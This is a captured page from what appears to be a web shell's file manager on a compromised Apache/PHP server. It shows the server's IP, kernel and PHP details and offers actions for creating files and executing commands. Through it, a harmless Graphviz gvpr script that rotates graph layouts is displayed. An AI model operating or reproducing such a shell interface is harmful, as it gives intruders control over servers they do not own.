⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.200
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
graphviz
/
gvpr
/
View File Name :
rotate
/* Given node name and angle, rotate a layout using the given * node as origin. */ BEGIN { double x,y; double x0,y0; double x1,y1; double angle, cosa, sina; int cnt, sz; void rotate (double a, double b) { a -= x0; b -= y0; x1 = a*cosa - b*sina; y1 = a*sina + b*cosa; } char* rotateE (char* p) { char* newpos = ""; cnt = sscanf (p, "e,%lf,%lf%n", &x, &y, &sz); if (cnt == 2) { rotate (x,y); newpos = newpos + sprintf ("e%lf,%lf ", x1, y1); p = substr(p, sz); } cnt = sscanf (p, "s,%lf,%lf%n", &x, &y, &sz); if (cnt == 2) { rotate (x,y); newpos = newpos + sprintf ("s%lf,%lf ", x1, y1); p = substr(p, sz); } while (sscanf (p, "%lf,%lf%n", &x, &y, &sz) == 2) { rotate (x,y); newpos = newpos + sprintf ("%lf,%lf ", x1, y1); p = substr(p, sz); } return newpos; } } BEG_G { node_t ctr = node ($, ARGV[0]); sscanf (ARGV[1], "%f", &angle); cosa = cos(angle); sina = sin(angle); sscanf (ctr.pos, "%f,%f", &x0, &y0); $.bb =""; } N { sscanf ($.pos, "%f,%f", &x, &y); rotate (x,y); $.pos = sprintf ("%f,%f", x1, y1); } E { $.pos = rotateE($.pos); }